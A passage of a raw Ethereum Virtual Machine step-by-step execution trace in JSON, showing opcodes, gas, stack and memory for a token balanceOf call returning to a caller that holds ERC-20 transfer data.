00000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11673,"op":"AND","gas":29569,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11674,"op":"DUP2","gas":29566,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11675,"op":"EQ","gas":29563,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11676,"op":"PUSH2","gas":29560,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11679,"op":"JUMPI","gas":29557,"gasCost":10,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x27e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10212,"op":"JUMPDEST","gas":29547,"gasCost":1,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10213,"op":"POP","gas":29546,"gasCost":2,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10214,"op":"JUMP","gas":29544,"gasCost":8,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11988,"op":"JUMPDEST","gas":29536,"gasCost":1,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11989,"op":"SWAP4","gas":29535,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11990,"op":"SWAP3","gas":29532,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x24","0x4","0x0","0x482"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11991,"op":"POP","gas":29529,"gasCost":2,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x482","0x4","0x0","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11992,"op":"POP","gas":29527,"gasCost":2,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x482","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11993,"op":"POP","gas":29525,"gasCost":2,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x482","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11994,"op":"JUMP","gas":29523,"gasCost":8,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x482"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1154,"op":"JUMPDEST","gas":29515,"gasCost":1,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1155,"op":"PUSH1","gas":29514,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1157,"op":"PUSH1","gas":29511,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1159,"op":"PUSH1","gas":29508,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1161,"op":"SHL","gas":29505,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1162,"op":"SUB","gas":29502,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1163,"op":"AND","gas":29499,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1164,"op":"PUSH1","gas":29496,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1166,"op":"SWAP1","gas":29493,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1167,"op":"DUP2","gas":29490,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1168,"op":"MSTORE","gas":29487,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1169,"op":"PUSH1","gas":29484,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1171,"op":"DUP2","gas":29481,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x0","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1172,"op":"SWAP1","gas":29478,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x0","0x20","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1173,"op":"MSTORE","gas":29475,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x0","0x0","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1174,"op":"PUSH1","gas":29472,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1176,"op":"SWAP1","gas":29469,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1177,"op":"KECCAK256","gas":29466,"gasCost":42,"depth":3,"stack":["0x70a08231","0x3ba","0x40","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1178,"op":"SLOAD","gas":29424,"gasCost":100,"depth":3,"stack":["0x70a08231","0x3ba","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1179,"op":"SWAP1","gas":29324,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1180,"op":"JUMP","gas":29321,"gasCost":8,"depth":3,"stack":["0x70a08231","0x2bda9a60795e41856a32","0x3ba"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":954,"op":"JUMPDEST","gas":29313,"gasCost":1,"depth":3,"stack":["0x70a08231","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":955,"op":"PUSH1","gas":29312,"gasCost":3,"depth":3,"stack":["0x70a08231","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":957,"op":"MLOAD","gas":29309,"gasCost":3,"depth":3,"stack":["0x70a08231","0x2bda9a60795e41856a32","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":958,"op":"SWAP1","gas":29306,"gasCost":3,"depth":3,"stack":["0x70a08231","0x2bda9a60795e41856a32","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":959,"op":"DUP2","gas":29303,"gasCost":3,"depth":3,"stack":["0x70a08231","0x80","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":960,"op":"MSTORE","gas":29300,"gasCost":9,"depth":3,"stack":["0x70a08231","0x80","0x2bda9a60795e41856a32","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":961,"op":"PUSH1","gas":29291,"gasCost":3,"depth":3,"stack":["0x70a08231","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":963,"op":"ADD","gas":29288,"gasCost":3,"depth":3,"stack":["0x70a08231","0x80","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":964,"op":"PUSH2","gas":29285,"gasCost":3,"depth":3,"stack":["0x70a08231","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":967,"op":"JUMP","gas":29282,"gasCost":8,"depth":3,"stack":["0x70a08231","0xa0","0x2ef"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":751,"op":"JUMPDEST","gas":29274,"gasCost":1,"depth":3,"stack":["0x70a08231","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":752,"op":"PUSH1","gas":29273,"gasCost":3,"depth":3,"stack":["0x70a08231","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":754,"op":"MLOAD","gas":29270,"gasCost":3,"depth":3,"stack":["0x70a08231","0xa0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":755,"op":"DUP1","gas":29267,"gasCost":3,"depth":3,"stack":["0x70a08231","0xa0","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":756,"op":"SWAP2","gas":29264,"gasCost":3,"depth":3,"stack":["0x70a08231","0xa0","0x80","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":757,"op":"SUB","gas":29261,"gasCost":3,"depth":3,"stack":["0x70a08231","0x80","0x80","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":758,"op":"SWAP1","gas":29258,"gasCost":3,"depth":3,"stack":["0x70a08231","0x80","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":759,"op":"RETURN","gas":29255,"gasCost":0,"depth":3,"stack":["0x70a08231","0x20","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000002bda9a60795e41856a32"]},{"pc":2785,"op":"ISZERO","gas":29728,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2786,"op":"DUP1","gas":29725,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2787,"op":"ISZERO","gas":29722,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2788,"op":"PUSH2","gas":29719,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2791,"op":"JUMPI","gas":29716,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x0","0x1","0xaf1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2801,"op":"JUMPDEST","gas":29706,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2802,"op":"POP","gas":29705,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2803,"op":"POP","gas":29703,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2804,"op":"POP","gas":29701,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000